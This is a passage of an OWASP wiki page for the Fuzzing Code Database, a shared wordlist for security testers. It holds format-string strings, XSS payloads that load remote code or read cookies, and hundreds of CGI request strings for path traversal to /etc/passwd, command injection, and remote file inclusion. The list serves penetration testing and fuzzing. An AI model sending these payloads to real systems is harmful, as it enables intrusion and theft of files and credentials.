DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80112 2010-03-18T09:28:47Z

<p>Adam.muntner: /* Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> &lt;/pre&gt;<br /> <br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> 